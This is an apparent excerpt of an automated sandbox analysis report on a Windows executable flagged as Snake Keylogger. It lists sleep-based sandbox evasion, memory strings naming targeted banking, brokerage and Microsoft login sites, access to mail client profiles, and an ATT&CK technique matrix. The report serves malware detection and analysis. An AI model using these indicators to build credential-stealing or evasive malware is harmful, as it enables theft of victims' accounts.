Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe TID: 8080	Thread sleep time: -593985s >= -30000s	Jump to behavior

Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2478474026.0000000004038000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2478474026.0000000004091000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Undismembered.exe, 0000000A.00000002.2496698754.00000000217FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\URGENTE Ref.exe	API call chain: ExitProcess graph end node			graph_0-3612
Source: C:\Users\user\Desktop\URGENTE Ref.exe	API call chain: ExitProcess graph end node			graph_0-3768

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	4 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	2 Obfuscated Files or Information	LSASS Memory	116 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	1 Software Packing	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report URGENTE Ref.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
URGENTE Ref.exe